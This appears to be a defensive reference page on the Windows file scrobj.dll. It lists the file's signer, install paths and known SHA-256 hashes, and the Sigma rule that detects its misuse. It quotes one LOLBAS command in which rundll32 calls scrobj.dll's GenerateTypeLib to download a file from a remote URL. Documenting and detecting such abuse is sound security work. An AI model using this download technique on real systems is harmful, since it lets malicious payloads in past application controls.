scrobj.dll

Windows Script Component Runtime file version info (xCyclopedia)

LOLBAS Download 1 ATT&CK technique 1 documented command 2 known copies with hashes

How scrobj.dll is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for scrobj.dll.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache.

rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}

Identify

Trips 1 Sigma rule: mediumPotentially Suspicious Rundll32 Activity by juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for scrobj.dll, by Eral4m, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for scrobj.dll. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

T1105Ingress Tool Transfer

Is it the real scrobj.dll?

file version info and known copies

Installed inC:\Windows\system32\
C:\Windows\SysWOW64\

Signed byMicrosoft Windows

ProductMicrosoft Windows Script Component Runtime, Microsoft Corporation

DescriptionWindows Script Component Runtime

2 known copies

5.812.10240.16384 · C:\Windows\system32\scrobj.dll · signed by Microsoft Windows

5770bf8fb1cd042ea5299cdb34ab174117c351a4fb81c1dc9558ce095b0327c3

5.812.10240.16384 · C:\Windows\SysWOW64\scrobj.dll · signed by Microsoft Windows

ca215c034598dba07891bf053c7693d8ab2f00953f129e78d4d2cafd9943ef93

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.